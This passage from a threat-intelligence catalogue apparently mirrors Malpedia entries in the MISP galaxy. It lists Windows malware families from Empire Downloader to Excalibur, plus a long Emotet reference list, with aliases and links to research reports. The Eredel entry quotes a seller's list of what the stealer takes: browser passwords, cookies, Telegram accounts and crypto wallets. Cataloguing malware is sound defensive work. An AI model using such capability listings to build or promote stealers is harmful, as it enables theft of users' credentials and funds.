https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office
https://www.bleepingcomputer.com/news/security/emotet-malware-hits-lithuanias-national-public-health-center/
https://blogs.vmware.com/security/2022/03/emotet-c2-configuration-extraction-and-analysis.html
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage
https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis
https://muha2xmad.github.io/unpacking/emotet-part-2/
https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation
https://blog.virustotal.com/2020/11/using-similarity-to-expand-context-and.html
https://intel471.com/blog/emotet-takedown-2021/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-019/
https://www.bleepingcomputer.com/news/security/emotet-malware-now-installs-via-powershell-in-windows-shortcut-files/
https://unit42.paloaltonetworks.com/emotet-command-and-control/
https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service
https://twitter.com/milkr3am/status/1354459859912192002

https://cyber.wtf/2022/03/23/what-the-packer/
https://twitter.com/raashidbhatt/status/1237853549200936960
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://paste.cryptolaemus.com
https://www.cert.pl/en/news/single/whats-up-emotet/
https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html
https://www.hornetsecurity.com/en/security-information/emotet-update-increases-downloads/
https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/
https://blog.threatlab.info/malware-analysis-emotet-infection/
https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-two-596128
https://isc.sans.edu/forums/diary/Emotet+infections+and+followup+malware/24532/
https://spamauditor.org/2020/10/the-many-faces-of-emotet/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf
https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx
https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html
https://github.com/mauronz/binja-emotet
https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://www.hornetsecurity.com/en/threat-research/comeback-emotet/
https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers
https://www.youtube.com/watch?v=5_-oR_135ss
https://www.cert.pl/en/news/single/analysis-of-emotet-v4/
https://kienmanowar.wordpress.com/2022/01/23/quicknote-emotet-epoch4-epoch5-tactics/
https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/
https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-emotets-use-of-cryptography/
https://research.checkpoint.com/emotet-tricky-trojan-git-clones/
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/
https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/
https://cert-agid.gov.it/news/malware/semplificare-lanalisi-di-emotet-con-python-e-iced-x86/
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://www.netresec.com/?page=Blog&month=2022-05&post=Emotet-C2-and-Spam-Traffic-Video
https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/
https://hello.global.ntt/en-us/insights/blog/shellbot-victim-overlap-with-emotet-network-infrastructure
https://www.atomicmatryoshka.com/post/malware-headliners-emotet
https://blog.talosintelligence.com/2020/11/emotet-2020.html
https://isc.sans.edu/diary/rss/27036
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://www.esentire.com/security-advisories/emotet-activity-identified
https://www.bitsight.com/blog/emotet-botnet-rises-again
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships
https://blogs.vmware.com/security/2022/05/emotet-config-redux.html

https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/
https://www.welivesecurity.com/2022/06/16/how-emotet-is-changing-tactics-microsoft-tightening-office-macro-security/
https://isc.sans.edu/diary/28044
https://experience.mandiant.com/trending-evil-2/p/1
https://www.lac.co.jp/lacwatch/alert/20211119_002801.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one
https://portswigger.net/daily-swig/emotet-trojan-implicated-in-wolverine-solutions-ransomware-attack
http://ropgadget.com/posts/defensive_pcres.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/
https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf
https://unit42.paloaltonetworks.com/domain-parking/
https://www.bitsight.com/blog/emotet-smb-spreader-back
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_workshop_malware-analysis_jp.pdf
https://www.lac.co.jp/lacwatch/people/20201106_002321.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://hello.global.ntt/en-us/insights/blog/behind-the-scenes-of-the-emotet-infrastructure
https://blog.cyble.com/2022/04/27/emotet-returns-with-new-ttps-and-delivers-lnk-files-to-its-victims/

https://hatching.io/blog/powershell-analysis
https://isc.sans.edu/forums/diary/Emotet+Stops+Using+0000+in+Spambot+Traffic/28270/
https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc
https://forensicitguy.github.io/shortcut-to-emotet-ttp-change/
https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html
https://persianov.net/emotet-malware-analysis-part-2
https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

Empire Downloader

The tag is: *misp-galaxy:malpedia="Empire Downloader"*

Empire Downloader is also known as:

Table 2105. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader
https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html
https://redcanary.com/blog/getsystem-offsec/
https://twitter.com/thor_scanner/status/992036762515050496
https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://unit42.paloaltonetworks.com/atoms/obscureserpens/
https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
http://www.secureworks.com/research/threat-profiles/gold-heron
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://us-cert.cisa.gov/ncas/alerts/aa20-275a
https://www.secureworks.com/research/threat-profiles/gold-ulrick
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
http://www.secureworks.com/research/threat-profiles/gold-burlap

https://paper.seebug.org/1301/
https://www.secureworks.com/research/threat-profiles/gold-heron
https://www.secureworks.com/research/threat-profiles/gold-drake
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://attack.mitre.org/groups/G0096
https://www.mandiant.com/media/12596/download

Emudbot

Supposedly a worm that was active around 2012-2013.

The tag is: *misp-galaxy:malpedia="Emudbot"*

Emudbot is also known as:

Table 2106. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emudbot
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm_emudbot.jp

Enfal

The tag is: *misp-galaxy:malpedia="Enfal"*

Enfal is also known as:

- Lurid

Table 2107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.secureworks.com/research/threat-profiles/bronze-union
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/
https://attack.mitre.org/groups/G0011
https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/

https://www.secureworks.com/research/threat-profiles/bronze-palace

Entropy

Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples.

The tag is: *misp-galaxy:malpedia="Entropy"*

Entropy is also known as:

Table 2108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

Enviserv

The tag is: *misp-galaxy:malpedia="Enviserv"*

Enviserv is also known as:

Table 2109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.enviserv
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Enviserv.A

EnvyScout

The tag is: *misp-galaxy:malpedia="EnvyScout"*

EnvyScout is also known as:

Table 2110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.envyscout

https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/
https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html
https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf
https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/

Epsilon Red

The tag is: *misp-galaxy:malpedia="Epsilon Red"*

Epsilon Red is also known as:

- BlackCocaine

Table 2111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red
https://therecord.media/epsilonred-ransomware-group-hits-one-of-indias-financial-software-powerhouses/
https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://news.sophos.com/en-us/2021/05/28/epsilonred/

EquationDrug

The tag is: *misp-galaxy:malpedia="EquationDrug"*

EquationDrug is also known as:

Table 2112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ
https://securelist.com/inside-the-equationdrug-espionage-platform/69203/
http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html

Equationgroup (Sorting)

Rough collection EQGRP samples, to be sorted

The tag is: *misp-galaxy:malpedia="Equationgroup (Sorting)"*

Equationgroup (Sorting) is also known as:

Table 2113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup
https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html
https://laanwj.github.io/2016/09/01/tadaqueos.html
https://laanwj.github.io/2016/08/28/feintcloud.html
https://laanwj.github.io/2016/09/13/blatsting-rsa.html
https://laanwj.github.io/2016/08/22/blatsting.html
https://laanwj.github.io/2016/09/23/seconddate-adventures.html
https://laanwj.github.io/2016/09/11/buzzdirection.html
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/
https://laanwj.github.io/2016/09/17/seconddate-cnc.html
https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html

Erbium Stealer

The tag is: *misp-galaxy:malpedia="Erbium Stealer"*

Erbium Stealer is also known as:

Table 2114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer
https://twitter.com/abuse_ch/status/1565290110572175361

Erebus (Windows)

The tag is: *misp-galaxy:malpedia="Erebus (Windows)"*

Erebus (Windows) is also known as:

Table 2115. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Eredel

Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.

According to nulled[.]to:

Supported browsers Chromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.

- Stealing FileZilla
- Stealing an account from Telegram
- Stealing AutoFill
- Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin
- Stealing files from the desktop. Supports any formats, configurable via telegram-bot

The tag is: *misp-galaxy:malpedia="Eredel"*

Eredel is also known as:

Table 2116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel
https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:https://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab[https://webcache.googleusercontent.com/search?q=cache:3hU62-Lr2t8J:https://www.nulled.to/topic/486274-eredel-stealer-lite-private-having-control-via-the-web-panel-multifunctional-stealer/&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-ab]

Erica Ransomware

The tag is: *misp-galaxy:malpedia="Erica Ransomware"*

Erica Ransomware is also known as:

Table 2117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.erica_ransomware

https://www.dropbox.com/s/f4uulu2rhyj4leb/Girl.scr_malware_report.pdf?dl=0

Eris

Ransomware.

The tag is: *misp-galaxy:malpedia="Eris"*

Eris is also known as:

Table 2118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eris
https://lekstu.ga/posts/go-under-the-hood-eris/

ESPecter

The tag is: *misp-galaxy:malpedia="ESPecter"*

ESPecter is also known as:

Table 2119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.especter
https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html
https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/

EternalRocks

The tag is: *misp-galaxy:malpedia="EternalRocks"*

EternalRocks is also known as:

- MicroBotMassiveNet

Table 2120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternalrocks
https://github.com/stamparm/EternalRocks
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

EternalPetya

The tag is: *misp-galaxy:malpedia="EternalPetya"*

EternalPetya is also known as:

- BadRabbit
- Diskcoder.C
- ExPetr
- NonPetya
- NotPetya
- Nyetya
- Petna
- Pnyetya
- nPetya

Table 2121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya
http://www.intezer.com/notpetya-returns-bad-rabbit/
https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html
https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/
https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/
https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/
https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/
https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://attack.mitre.org/groups/G0034
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/
https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf
https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html
https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/
https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine
https://www.riskiq.com/blog/labs/badrabbit/
https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/
https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/
https://securelist.com/bad-rabbit-ransomware/82851/
https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf
https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/
https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/
https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/
https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://istari-global.com/spotlight/the-untold-story-of-notpetya/

https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://securelist.com/apt-trends-report-q2-2020/97937/
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/
http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks
https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html
https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html
http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html
https://gvnshtn.com/maersk-me-notpetya/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/
http://blog.talosintelligence.com/2017/10/bad-rabbit.html
https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/
https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://securelist.com/schroedingers-petya/78870/
https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/
https://securelist.com/from-blackenergy-to-expetr/78937/

Eternity Clipper

This malware is part of the Eternity Malware "Framework".

The tag is: *misp-galaxy:malpedia="Eternity Clipper"*

Eternity Clipper is also known as:

Table 2122. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/

Eternity Ransomware

Eternity Framework Ransomware Payload

The tag is: *misp-galaxy:malpedia="Eternity Ransomware"*

Eternity Ransomware is also known as:

Table 2123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/

Eternity Stealer

This Stealer is part of the eternity malware project.

The tag is: *misp-galaxy:malpedia="Eternity Stealer"*

Eternity Stealer is also known as:

Table 2124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer
https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/
https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/
https://twitter.com/3xp0rtblog/status/1509601846494695438
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://ke-la.com/information-stealers-a-new-landscape/

Eternity Worm

This malware is part of the Eternity Malware "Framework".

The tag is: *misp-galaxy:malpedia="Eternity Worm"*

Eternity Worm is also known as:

Table 2125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_worm
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/
https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/

EtumBot

The tag is: *misp-galaxy:malpedia="EtumBot"*

EtumBot is also known as:

- HighTide

Table 2126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
https://www.secureworks.com/research/threat-profiles/bronze-globe
https://www.zscaler.com/blogs/research/cnacom-open-source-exploitation-strategic-web-compromise

Evilbunny

The tag is: *misp-galaxy:malpedia="Evilbunny"*

Evilbunny is also known as:

Table 2127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/

https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/

EvilGrab

The tag is: *misp-galaxy:malpedia="EvilGrab"*

EvilGrab is also known as:

- Vidgrab

Table 2128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf

EVILNUM (Windows)

The tag is: *misp-galaxy:malpedia="EVILNUM (Windows)"*

EVILNUM (Windows) is also known as:

Table 2129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum
https://github.com/eset/malware-ioc/tree/master/evilnum
https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets
https://mp.weixin.qq.com/s/lryl3a65uIz1AwZcfuzp1A

EvilPlayout

A wiper used against in an attack against Iran’s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.

The tag is: *misp-galaxy:malpedia="EvilPlayout"*

EvilPlayout is also known as:

Table 2130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout
https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/

EvilPony

Privately modded version of the Pony stealer.

The tag is: *misp-galaxy:malpedia="EvilPony"*

EvilPony is also known as:

- CREstealer

Table 2131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony
https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/

Evrial

The tag is: *misp-galaxy:malpedia="Evrial"*

Evrial is also known as:

Table 2132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial
https://www.bleepingcomputer.com/news/security/evrial-trojan-switches-bitcoin-addresses-copied-to-windows-clipboard/

Exaramel (Windows)

The tag is: *misp-galaxy:malpedia="Exaramel (Windows)"*

Exaramel (Windows) is also known as:

Table 2133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.wired.com/story/sandworm-centreon-russia-hack/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://attack.mitre.org/groups/G0034
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

Excalibur

The tag is: *misp-galaxy:malpedia="Excalibur"*

Excalibur is also known as:

- Saber
